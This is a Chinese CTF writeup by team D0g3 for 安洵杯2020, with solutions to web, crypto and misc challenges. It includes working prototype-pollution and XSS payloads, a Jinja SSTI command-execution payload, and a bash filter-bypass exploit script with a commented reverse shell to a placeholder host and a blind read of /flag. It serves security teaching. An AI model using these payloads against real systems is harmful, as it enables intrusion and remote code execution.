安洵杯2020 官方Writeup(Web/Misc/Crypto) - D0g3
0xdawn CTF 45737浏览 · 2020-12-03 01:50

本文由 @D0g3 编写

i-SOON_CTF_2020 部分题目环境/源码后续将在Github开源
项目地址

Web

XSS

预期

poc:

http://47.108.162.43:3000/?data={"__proto__":{"innerText":"<img src="" onerror=alert`1`>//"},"text":"<h>"}

santinize-html第16879行,text与frame.innerText整合为result,作为return的结果

if (options.selfClosing.indexOf(name) !== -1) {
    result += " />"
} else {
    result += ">";
    if (frame.innerText && !hasText && !options.textFilter) {
        result += frame.innerText;
        addedText = true
    }
}

只要是任意白名单标签都可以在其后加入任意内容

非预期

ddddhm队伍师傅用jq的非预期

jquery在init的时候会自动进行一次paseHTML(即使没有调用任何方法)。jquery yyds

Validator

题目信息

题目考点:

  1. Nodejs代码审计
  2. 原型链污染分析

解题思路:

  • 获取源码
    由于express-static配置错误,导致可以任意查看静态文件
    直接访问获取源码与环境:
    /app.js
    /package.json
  • validator原型链污染漏洞

出题的思路来自于XNUCA2020的一道原型链污染题,原题的正解是污染原型链value值为空,但是0ops的师傅在解题的过程中做到了任意原型链污染,这题就是以这个任意原型链污染为基础的。(师傅们在做题的时候应该是可以直接搜到这个payload的)
参考原比赛的wp:oooooooldjs

针对任意原型链污染这个点,深入的分析在后面。

题目部分源码:

if (req.body.password == "D0g3_Yes!!!"){
        console.log(info.system_open)
        if (info.system_open == "yes"){
            const flag = readFile("/flag")
            return res.status(200).send(flag)
        }else{
            return res.status(400).send("The login is successful, but the system is under test and not open...")
        }
    }else{
        return res.status(400).send("Login Fail, Password Wrong!")
    }

这里只有一个简单的info.system_open的判断,所以我们只需要构造出能够污染info.system_open的payload即可。
最终构造出的payload如下:

{"password":"D0g3_Yes!!!", "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes" }

express-validator 6.6.0 原型链污染详细分析

测试用例

测试例子:

const express = require('express')
const app = express()

const port = 9000

app.use(express.json())
app.use(express.urlencoded({
    extended: true
}))

const {
    body,
    validationResult
} = require('express-validator')

middlewares = [
    body('*').trim() // 对所以键值进行trim处理
]

app.use(middlewares)

app.post("/user", (req, res) => {
    const foo = "hellowrold"
    return res.status(200).send(foo)
})


app.listen(port, () => {
    console.log(`server listening on ${port}`)
})

依赖包版本:

npm init
npm install lodash@4.17.16
npm install express-validator@6.6.0
npm install express

express-validator参考:https://express-validator.github.io/docs/

在分析这个原型链污染漏洞之前,我们先对express-validator的过滤器(sanitizer)的实现流程进行一个分析。

过滤器(sanitizer)实现流程

在src/middlewares/validation-chain-builders.js文件中找到body的实现

传递到了check_1.check方法中,跟入check.js文件

location传递进来后传递到setLocations方法里创建了一个builder对象,并传入到chain_1.SanitizersImpl方法中。对于return,在题目的Wirteup中有以下的描述:

先看return的地方,check函数里的middleware就是express-validator最终对接express的中间件。utils_1.bindAll函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性,因为Object.assign只做浅拷贝,utils.bindAll之后Object.assign就可以把sanitizers和validators上面的方法都拷贝到middleware上面了,这样就能通过这个middleware调用所有的验证和过滤函数。

针对bindAll,我个人的理解是:bindAll函数就是把需要调用的方法都绑定到middleware上进而实现链式调用。

传入bindAll的参数值是通过Chain_1.SanitizersImpl返回的,可以通过chain.js确定到这个函数的定义位置为src/chain/sanitizers-impl.js。

在这个类中存在很多的过滤器(sanitizer),过滤器实现的方法都调用了this.addStandardSanitization()将过滤器传入到sanitization_1.Sanitization()方法中,得到的结果最终传递给this.builder.addItem()。

先来看sanitization_1.Sanitization()方法,位置在:src/context-items/sanitization.js:

这个Sanitization类中的run方法最终通过调用sanitizer方法设置了context的值。(context后面的处理过程在漏洞分析部分)

再来看this.builder.addItem()做了什么,位置在src/context-builder.js

就是把传入进来的值压入this.stack栈中。

回到Sanitization类中的run方法,这个run方法是在哪调用的呢?再看到check.js,这里创建了一个runner对象,并在middleware里调用了run方法:

同样可以从chain/index.js中找到实现runner.run方法的具体位置为:

这里可以看到是从context.stack里面循环遍历了contextItem,并调用了其run方法。在这条循环语句处下断点查看一下context的内容:

在stack里面就是包含了我们所调用的过滤器,而这个context.stack也就是this.builder.addItem()所设置的值。

这就是完整的express-validator的过滤器(sanitizer)的实现流程,wp中对这个过程有一个总结:

express-validator的做法是把各种validator和sanitizers的方法绑定到check函数返回的middleware上,这些validator和sanitizer的方法通过往context.stack属性里面push context-items,最终在ContextRunnerImpl.run()方法里遍历context.stack上面的context-items,逐一调用run方法实现validation或者是sanitization

我这里画了一个流程图来梳理这一过程:


(这个流程图画的比较复杂,如果你尝试跟过一遍的话再来看这个流程图就会比较容易理解一些

lodash < 4.17.17 原型链污染

https://snyk.io/vuln/SNYK-JS-LODASH-608086

lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
express-validator中lodash原型链污染漏洞攻击面

在题目环境中npm install的时候就会有提示,express-validator库中的所依赖的lodash库存在原型链污染漏洞。

这是因为express-validator的依赖包中,lodash的安装版本最低为4.17.15的,所以在一定条件下会存在原型链污染漏洞。(这里的测试环境我们安装的是4.17.16版本,lodash在4.17.17以下存在原型链污染漏洞)

继续分析:

跟着上面过滤器(sanitizer)实现流程的最后几步,runner.run方法在context.stack里面循环遍历了contextItem,并调用了其run方法。

我们先来看看这个值的传入过程是怎么样的。

请求中值的传入过程

测试数据包:

{"__proto__[test]": "123 "}

在调用run方法时传入了一个instance.value的变量,这个变量的值是我们传入json数据当中的值,run方法在调用过滤器处理后给其赋予了一个新的值。
我们下断点来查看一下:

经过过滤器处理后(也就是经过了一个trim()处理):

可以看到,newvalue是instance.value经过run方法处理后得到的值,一直往上推可以得知instance的实现方法是this.selectFields,位置是在select-fields.js文件中:

select-fields.js:

这个文件的处理过程中我们需要了解到的就是在segments.reduce函数中对输入的值进行了一些判断和替换。重要的点就是当传入的键中存在. ,则会在字符两边加上[" "],并且最终返回的是一个字符串形式的结果。(对于这些语句更为详细的原因可以参考writeup中对这一段的描述)

接着之前的过程,在经过了过滤器的处理之后,会通过lodash.set对指定的path设置新值,也就是如图中的_.set(req[location], path, newValue)过程。

现在可以尝试一下能不能通过lodash.set原型链污染来污染指定的值:

尝试污染proto[test],结果发现是污染并没有成功:

原因是因为,当lodash.set中第一个参数存在一个与第二个参数同名的键时,污染就会失败,测试如下:

所以,我们就要尝试去绕过这个点。
我们来看一下这个语句:

path !== '' ? _.set(req[location], path, newValue) : _.set(req, location, newValue);

这里的第一个参数是从请求中直接取出来的,path是经过先前处理后的出来的值。所以能不能通过这个处理来进行绕过呢?当然是可以的。
当我们传入:

{"\"].__proto__[\"test":"123 "}

这里的键为"].__proto__["test,由于字符里面存在.,所以在segments.reduce函数处理时会对其左右加双引号和中括号,最终变成:[""].__proto__["test"]。这时在调用set函数时,值的情况就为:

这时就不存在同名的键了,于是查看污染的后的值发现:

我们设置的值并没有传递进去,而是污染为了一个空值。为什么传递进来的newValue为空值呢?

从select-fields.js中可以看到,是因为取值时,使用的是lodash.get方法从req['body']中取被处理后的键值,处理后的键是不存在的,所以取出来的值就为undefined。

当undefined传递到Sanitization.run方法中后,经过了一个.toString()的处理变成了''空字符串。

lodash.get方法中读取键值的妙用

那我们还有没有办法污染呢?结果肯定是有的,我们跟入这个lodash.get方法,这个方法的具体实现位置位于:lodash/get.js

继续跟踪到lodash/_baseGet.js

从中我们可以看到这个函数取值的一些逻辑,首先,path经过了castPath处理将字符串形式的路径转为了列表,如下面的内容所示。转换完后通过一个while循环将值循环取出,并在object这个字典里去取出对应的值。

// 初始值
['a'].__proto__.['b']

// 转换完后的值
["a","__proto__","b",]

那这个地方能不能利用呢?当然也是可以的,我们来看下最终的payload:

{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222}

这个时候我们在这个函数处下断点就可以看到,a\"].__proto__[\"test经过castPath处理变成了["a", "proto", "test"],在Object循环取值最终取到的是"a": {"__proto__": {"test": 'testvalue'}中的test键的值,这样就达到了控制value的目的。

还未遍历前:

最后一次遍历:

最终污染成功:

Web-Bash-Vino0o0o

题目原型和出题想法

原型:学习这种绕过姿势来源于之前看的一份34c3 CTF的wp,大体上类似于这一篇:https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

想法:但是利用上面这种bash<<<{,,,,}这种形式执行命令在我的测试中并不能完美地执行任意命令,因此在这次比赛中白名单没有逗号,且无回显

解题思路

  1. 可以利用八进制的方法绕过一些ban了字母的题,示例如下:

  2. 可以利用位运算和进制转换的方法利用符号构造数字,本题中直接给出0简化了一些操作:

    n = dict()
    n[0] = '0'
    n[1] = '${##}'                                   #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
    n[2] = '$((${##}<<${##}))'                       #通过位运算得到2
    n[3] = '$(($((${##}<<${##}))#${##}${##}))'       #通过二进制11转换为十进制得到3,4,5,6,7
    n[4] = '$((${##}<<$((${##}<<${##}))))'
    n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
    n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
    n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
    

    得到了所有的数字就可以把我们所需要的命令转换成数字了,细说一下得到1的方法,#在bash中是一个变量,它的长度是0。${#变量}这种形式求得的是变量的长度,例子如下:

  3. 转换成数字之后就需要用到<<<来重定向了,但是一层不够,只用一层会出现bash: $'\154\163': command not found这样的报错,得知bash一次解析只能解析到成数字,需要第二次解析。因此需要给原先的命令添加转义字符,最终构造出如下payload:$0<<<$0\<\<\<\$\'\\${##}$(($((${##}<<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'执行ls命令

  4. 能够命令执行之后就很简单了,无回显的命令执行无非就两种方案,一种是反弹shell另一种是盲注,下面直接贴exp:

    import requests
    n = dict()
    n[0] = '0'
    n[1] = '${##}'
    n[2] = '$((${##}<<${##}))'
    n[3] = '$(($((${##}<<${##}))#${##}${##}))'
    n[4] = '$((${##}<<$((${##}<<${##}))))'
    n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
    n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
    n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
    
    f=''
    
    def str_to_oct(cmd):                                #命令转换成八进制字符串
        s = ""
        for t in cmd:
            o = ('%s' % (oct(ord(t))))[2:]
            s+='\\'+o   
        return s
    
    def build(cmd):                                     #八进制字符串转换成字符
        payload = "$0<<<$0\<\<\<\$\\\'"
        s = str_to_oct(cmd).split('\\')
        for _ in s[1:]:
            payload+="\\\\"
            for i in _:
                payload+=n[int(i)]
        return payload+'\\\''
    
    def get_flag(url,payload):                          #盲注函数
        try:
            data = {'cmd':payload}
            r = requests.post(url,data,timeout=1.5)
        except:
            return True
        return False
    
    #弹shell
    #print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))
    
    #盲注
    #a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
    # for i in range(1,50):
    #     for j in a:
    #         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
    #         url = "http://ip/"
    #         if get_flag(url,build(cmd)):
    #             break
    #     f = f+j
    #     print(f)
    

Normal SSTI

题目考点

SSTI 绕过姿势汇总(unicode绕过是一种网上没提出的方法)

题目难度

中等偏难

解题思路

题目主要考察了几个知识点:

  • 没有{{情况下如何构造回显

  • 如何绕过字符串过滤

  • 过滤器的熟悉程度

直接放payload吧,很简单的一道题,理解了就懂了:

/test?url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

Crypto

密码学?爆破就行了

这道签到题主要是想给大家推荐一个密码学常用的库,可以多线程的爆破

我用的默认线程解只需要不到7s(还可以更快的)

#!/usr/bin/python2
from pwn import pwnlib
from pwnlib.util.iters import mbruteforce
import hashlib 

flag      = 'd0g3{71b2b5616ee2a4639a07d979ebde964c}'
msgbroken = 'd0g3{71b2b5616**2a4639**7d979**de964c}'
table = '0123456789abcdef'
assert len(table) == 16

m1 = 'd0g3{71b2b5616'
m2 = '2a4639'
m3 = '7d979'
m4 = 'de964c}'

def f(res):
    ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
    msgbroken = m1 + res[0:2] + m2 + res[2:4] + m3 + res[4:6] + m4
    tmp = hashlib.sha256(msgbroken).hexdigest()
    if tmp == ciphier:
        return True

res = mbruteforce(f,table,6,method='fixed')

print(m1 + res[0:2] + m2 + res[2:4] + m3 + res[4:6] + m4 )

easyaes

思路

hint和key长度不等,且hint为四个字符的重复

即输出的密文中有部分hint的字符,可以首先恢复hint再逐步次求出key

已知密文、明文、私钥可以根据aes的cbc模式原理求出位移

#!/usr/bin/python
from Crypto.Util.number import long_to_bytes
import binascii, sys
from Crypto.Util.strxor import strxor
from Crypto.Cipher import AES

# -----------get key---------
tmp = 56631233292325412205528754798133970783633216936302049893130220461139160682777
hint = int(str(hex(tmp))[2:10] * 8,16)
key = long_to_bytes(tmp ^ hint)

# ----------get iv-----------
msg = b'Welcome to this competition, I hope you can have fun today!!!!!!'
msgs = [msg[ii:(ii+16)] for ii in range(0,len(msg),16)]
msgs.reverse()
IV = binascii.unhexlify('3c976c92aff4095a23e885b195077b66')

def decry(key,IV,ms):
    aes=AES.new(key,AES.MODE_ECB)
    return strxor(aes.decrypt(IV),ms)

for ms in msgs:
    IV=decry(key,IV,ms)
print(b'd0g3{' + IV+ b'}')

easyrsa

思路

这道题首先将加密脚本给加密了,可以很明显的看出是python脚本的仿射加密

通过查找关键词可以对比出a = 9,b = 9,从而解出加密脚本

这道题一共有三个rsa的问题,对应的思路如下:

  • hint1 = 2 * d + 246810 * e* phi ,根据数论知识,其实只要d满足e * dmodϕ(n)=1即可解密,所以在这里d = hint1 // 2
  • 解出的q非素数,把q分解成素数积来求得phi
  • 穷据两位十进制数字达到coppersmith攻击最低攻击条件
#!/usr/bin/python
import gmpy2
from Crypto.Util.number import long_to_bytes
import math
n = 10050095014547257781432719892909820612730955980465259676378711053379530637537082959157449310691856567584792956476780977871348290765339769265796235196183464082153542864869953748019765139619014752579378866972354738500054872580260903258315293588496063613299656519940131695232458799137629873477475091085854962677524091351680654318535417344913749322340318860437103597983101958967342493037991934758199221146242955689392875557192192462927253635018175615991531184323989958707271442555251694945958064367263082416655380103916187441214474502905504694440020491633862067243768930954759333735863069851757070183172950390134463839187
c = 522627051172673216607019738378749874116772877858344748349627321977492158105699887369893079581450048789131578556338186004983533975454988450450635141267157135506032849129152411194539350100279698888357898902460651973610161382266600081865609650174137113252711515464274593530115825189780860732147803369868525723790644619452538755225868382505974710418995847979384726953915873857530098330095151094837190566851416540540805185485212577333604309698822785682707412587829684108913753204398552196441996201678339688766979634246337855516220753995430266970473808724410357458278585135750810810484678948146374963838334596646926215341
hint = 134805774328615624446574490322803283547316698647214138487576352482438867186094276263735342558169004773286779632939369099910639984165263724781958841009573156241531958373198729926012152201548649349842790727259831232277600944618096069835436884888782994513452252257103877595707828731260669076400456300668581565291455061609385003064649522735776446930209884653223939689686840631001863143579575759834304817613040932998629846110770749941179601474484275548912570668460216633586988225562794026430881265344731575650165992321629617982004131413202026628777742093026476064486873565664625105013298396598413667761372217260994853420062861590358
d = hint // 2
q = gmpy2.powmod(c,d,n)

# ------------------
n = 133561991523711714238641512987809330530212246892569593026319411449791084194115873781301422593495806927875828290629679020098834182528012835469352471635087375406306534880352693134486855968468946334439553553593196889196239169351375517588892769598963002098115826389220099548938169095670740942251209102500450728442583559710183771974489284632651296188035458586935211952691589627681567274801028577256215269233875203212438263987034556969968774119389693056239796736659926866707857937025200924828822267781445721099763436020785585453958594470906716195030613615725126057391084801585533926767137218524047259398886392592317910204988634868663634415285507325190415658931169841182499733179254162060738994027842088553562013488445789594342451823783136881968032197575016845492231433684884872631894561254381663562267075103417879327236182565223877901300392217967589154857009356640377622996801781797109089687661697856930394706016954531077165127402008444818092498106642068414208190583373314287381712963712098566595399301400378116274132918572709221391531621228936206630829355801192700264684469488261781954165940553346889395507153750291402535330239420975542926664420153925171757944018621411265539452424569343708318070259746118326558005521868356304582694159507379335214599839668805877215983938986674084063185863612335339836810044252829401409522709997562887276661672718820881541500852400369184737236082178767653725044900394959369367604992512713490494168594433000695046297712977059205623777990102604073885527049867682390577577616773090662829024271568456346362315351643767420198116229892060385453123572533267805396437865025639093881944841521458804810097550625853182396288247815370818578103543117466070812804267915674186488979548392193291727228018246788487524292081389142018151246889408421936865224469589631518283230229213787648552632437566756058034131355439709320923876063030896228165897498746898125821639893238387694549304110003941329763552493326245073779912107372271854798616245416264801377068163622812994786201580895459712414134184992440395336131037558976058298521312536969408724436512019410835904564817724243688308776888170183074838453466914170790840559860531933430176605716828492670093771129301541861534595181565621644268739349035133062776852304594204220291667924128313579203359827093150911871520605180797438668872585571501531844999598674037998642821148417473110716470439750642781609483016636419373004760601783594025036152924259863627732874940148083408474700265895269165869619971810103499607445649821
p = 689159326758330864205993810270646658558112329195746149991184055909755461246626153920231796960903018393806410715812453949253930576368274228434916375544579284365205241766136566047482065208442992856658212126772417415403473480889927931481129434854332858754668120563818975006384512615022532233244596546830392476321031156328699572283946257730515089543367929326280871305776349305346159311591820455943842203357066465523558715870586535188343603460826231817622511283563179065036619023415848694281294463836320838105950552498785365535923041927491743402053568747113507098917091780797009380675587381805253390649630338055131031679595664055361678114747608302944715308343764678875659039394225950479683967885912291399162609094622980318391045105733088508798371414996479107970975717563552614856114065668728607215268431341079233630995168600896375314067716366181300081684353583326214062788182429536300917720999423489104723824360299238754986351169209709892739317096741609428484854087163771300777717883057028145424827875496235567904291417092378448353222179114362314382900648079547647848024440220204768433974038004942869937932015294078073975703156613070125753344841550872429670559866184492945262960524545894823245933714684747784492095876370443994948425495841
c = 65553658155452064459040687299632299415295760116470555100400688788937893101658136830409082198753928673469636810831761104117535054304536941814523449491308187105740319828511969750359402834799486354958723098881095067882833993358468923611118977258293638107874383059048015701807718209929028151240509801801995570592890519253676774278321334154528938199389248563657673061299152526380072934917964488153875744843855913524788571997024947738868563951687976817548296078497817264410193882661874749304071168979787307490320366615899942861059615405569154961435894469325778407081182151320629413711622905703628430999201763846682516985530373643176026602901129520439581385946775511292435206913016381293219606333035648747877313424616408338829137581998558399694071257787294948211441360283876078405831210625321012072477187438320944119825970347654743794743846351762763177440045084761025728597526592892602263484022280653040195670941221493307430623213388669939114424884078502946247136016528925968280034099568454876076717790529204207317485416329062672971939549478648687894958552760953682796211975576320713576155031581257782352223857605149825435939889497465805857339911597479498085071301601506276220487493620870555545057189236870008182212284992968466451864806648279032294546676543599599279519394341289357968292292966055189578253350591765186079486142930848439238134776982658066494378507873003509820326863340562093906137812952544399266821679905073464535234547335867090392493005792528534561846391285698943396889671437127470587837989050518266365099789392584686615435440486086402941357614369171354355307532351370775920044953381482310949663868493911752104873824099597326393857349237228788875273525189373323552519106738497767546337587947368062413334887230166285909705065920918078052826480092129173127887307158867274895914733110276134124505178182548094607594799978378381804502097507167978950926067243870989514735314054362049917668015341349933704885009878192354865067520219676784278082055728039064858769077997521541853184489175120623176481708269464933868222226748491078319156602229948646960513946846417957356535995079525993783278312017766715177078804065822913241465133977233398851120059496221650357891946344151601586169979516826622503491746992282716591488199657450776596383692706657692673860134555990821730412919497018889046615548520878486492644159735144935329502984929679831356967030870226422768447430410031028770529758721438528263719267616233686813781828066547393953352033364851486926368090757420184816634373721

r = (n // p )// q
e = 65537
assert r*p*q == n

# q = 3 * 78234041
phi = (r-1) * (p-1) * (3-1) * (78234041 - 1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
load("coppersmith.sage")
N = 14857387925078594782296815160632343246361073432459148990826882280149636079353743233970188012712079179396872746334143946166398665205889211414809061990804629906990919975187761209638578624750977626427334126665295876888197889611807587476285991599511809796600855689969285611439780660503760599419522224129074956376232480894299044645423966132497814477710701209588359243945406653547034819927990978087967107865071898215805154003530311865483912924517801551052430227039259201082691698480830966567550828053196299423168934840697637891311424286534363837640448614727396254288829197614805073711893711252067987576745683317789020760081L

c = 14035143725862612299576867857272911865951893239411969382153274945929406881665641140566462510177132511558933111728871930062074990934496715765999564244916409345156132996227113853067808126894818934327468582686975383715892108247084995817427624992232755966398834682079985297050358462588989699096264155802168300026093598601350106309023915300973067720164567785360383234519093637882582163398344514810028120555511836375795523327469278186235781844951253058134566846816114359878325011207064300185611905609820210904126312524631330083758585084521500322528017455972299008481301204209945411774541553636405290572228575790342839240414L
e = 5

#相差52位
m_start = 11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047000000000000000000000000000000000000000000000000000000
m_end = 11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047990000000000000000000000000000000000000000000000000000

step = 10000000000000000000000000000000000000000000000000000

for m in range(m_start,m_end,step):
    try:
        ZmodN = Zmod(N)
        P.<x> = PolynomialRing(ZmodN)
        f = (m + x)^e - c
        dd = f.degree()
        beta = 1
        epsilon = beta / 7
        mm = ceil(beta**2 / (dd * epsilon))
        tt = floor(dd * mm * ((1/beta) - 1))
        XX = ceil(N**((beta**2/dd) - epsilon))
        roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
        print(bytes.fromhex(hex(m+roots[0])[2:]))
        break
    except:
        continue

Misc

王牌特工

题目考点

硬盘文件恢复,vim状态恢复,二层加密磁盘

解题思路

用7Z或者硬盘软件挂载,可以发现flagbox和假密码(a_cool_key)

然后用ext3grep恢复.key.cool.swp文件

用vim -r恢复vim访问记录,然后解base64可以得到真的密码(this_is_a_true_key),用真密码在veracrypt中解密flagbox可以得到flag

flag:flag{you_are_a_cool_boy}

套娃

题目考点

crc32,zip刁钻爆破姿势

解题思路

flag:flag{zip&crc_we_can_do_it}

crc32爆破得到解压密码!qQIdEa@#!z)

解压得到easyzip.zip

然后用7z打开easyzip.zip,得到明文readme.txt

然后备份easyzip.zip,之后用winrar把readme.txt和flag.txt删除,留下readme.txt副本,然后已知明文攻击

已知明文攻击得到密码%3#c$v!@

然后用这个密码解密原来easyzip.zip中的flag.txt

最后解base64*3和栅栏3

贴上crc32爆破脚本

import binascii

for i in range(32,127):
    for j in range(32,127):
    #print(chr(i))
        crc = binascii.crc32(chr(i)+chr(j)) & 0xffffffff
        crc_f = ['EA4446B6','ED7987DE','46FE0943','4BE30989','B31975C0','D6BB1BEF']
        find = hex(crc).upper()[2:]
        #print(find)
        if find in crc_f: 
            print(chr(i)+chr(j)+"   "+find)

签到

题目考点

简单的图片操作,base100

解题思路

链接:https://share.weiyun.com/RYDFi29H 密码:d0g311

关注道格安全公众号,

回复:fl4g

return一个微云下载链接,解出提示:这并不是emojicode哦,而是一种“很基础”的编码,如果答对了,CyzCC就给你100分.

docx里有奇怪的东西,将docx改为压缩包格式(docx是微软Word的文件扩展名,Microsoft Office2007之后版本使用,其基于Office Open XML标准的压缩文件格式取代了其以前专有的默认文件格式),document.xml里可以看到一串表情。

不是emojicode

基础是base

base100解密即可

Base100编码/解码 - 一个工具箱 - 好用的在线工具都在这里! (atoolbox.net)

flag:D0g3{Welc0m_ANd_H1T_liGht1y}

BeCare4

题目考点

零宽隐写,silenteye 隐写

解题思路

一个npmtxt文件,用notepad++打开,是一段文字,搜索

Invisble提示的确是个隐写,用hex editor打开的话就更容易发现前面有很奇怪的东西。

文字隐写最常见的就是zerolib,找一些在线解密的网站,其中文件名“npm”txt,

参考:

零宽度空格 Zero-width space | m4bln (mabin004.github.io)

Zero Width Lib (yuanfux.github.io)

解出之后可以用这个作为密码得到压缩文件中的图片

文件名再次指出是隐写,并且with_nowords => silent

silenteye得出flag

flag:D0g3{1nV1sible_flag_Can_You_find?!}

0 条评论
某人
表情
可输入 255